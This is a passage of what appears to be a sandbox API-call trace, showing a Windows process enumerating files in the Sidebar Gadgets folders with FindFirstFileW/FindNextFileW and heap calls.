lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0261.226] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 0 [0261.226] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.226] GetProcessHeap () returned 0x550000 [0261.226] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.226] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.html", cAlternateFileName="")) returned 1 [0261.227] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0261.227] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0261.227] GetProcessHeap () returned 0x550000 [0261.227] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0261.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.324] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.324] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0261.324] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1 [0261.324] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x161e, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0261.324] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0261.325] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 1 [0261.325] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 0 [0261.325] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.325] GetProcessHeap () returned 0x550000 [0261.325] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.325] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0261.325] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.326] GetProcessHeap () returned 0x550000 [0261.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.326] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb67725c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbb67725c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0261.326] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0261.326] GetProcessHeap () returned 0x550000 [0261.326] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0261.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.355] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.355] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb8048a8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb8048a8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0261.355] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb661993, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb661993, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_down.png", cAlternateFileName="")) returned 1 [0261.355] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb69d3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_over.png", cAlternateFileName="")) returned 1 [0261.355] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb69d3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_up.png", cAlternateFileName="")) returned 1 [0261.355] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6156d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb6156d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6c351c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-docked.png", cAlternateFileName="")) returned 1 [0261.355] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6c351c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbb6c351c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbb6c351c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xaa66, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-2.png", cAlternateFileName="")) returned 1 [0261.355] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5c9417, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb5c9417, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6c351c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd31a, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-3.png", cAlternateFileName="")) returned 1 [0261.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5ef576, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb5ef576, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6e967c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xf240, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-4.png", cAlternateFileName="")) returned 1 [0261.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb76c32c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb76c32c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb70f7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb93, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-left.png", cAlternateFileName="")) returned 1 [0261.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb79248b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb79248b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb70f7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb45, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-middle.png", cAlternateFileName="")) returned 1 [0261.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7b85ea, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb7b85ea, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb70f7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-right.png", cAlternateFileName="")) returned 1 [0261.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d3db0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb6d3db0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb73593c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_down.png", cAlternateFileName="")) returned 1 [0261.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb687af2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb687af2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb73593c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_over.png", cAlternateFileName="")) returned 1 [0261.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb687af2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb687af2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_up.png", cAlternateFileName="")) returned 1 [0261.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7461cd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb7461cd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_down.png", cAlternateFileName="")) returned 1 [0261.356] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6f9f0f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb6f9f0f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_over.png", cAlternateFileName="")) returned 1 [0261.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb72006e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb72006e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7cdebc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_up.png", cAlternateFileName="")) returned 1 [0261.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb8048a8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb8048a8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7f401c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0261.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7b85ea, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb7b85ea, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7f401c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbda, dwReserved0=0x0, dwReserved1=0x0, cFileName="row_over.png", cAlternateFileName="")) returned 1 [0261.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb81a17c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 1 [0261.357] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb81a17c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 0 [0261.357] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.358] GetProcessHeap () returned 0x550000 [0261.358] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.358] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcba7da4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcba7da4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb8d885c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0261.358] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcba7da4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcba7da4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb8d885c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0261.359] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0261.359] GetProcessHeap () returned 0x550000 [0261.359] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0261.359] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="PICTUR~1.GAD")) returned 1 [0261.359] GetProcessHeap () returned 0x550000 [0261.359] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0261.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0261.359] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.359] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, 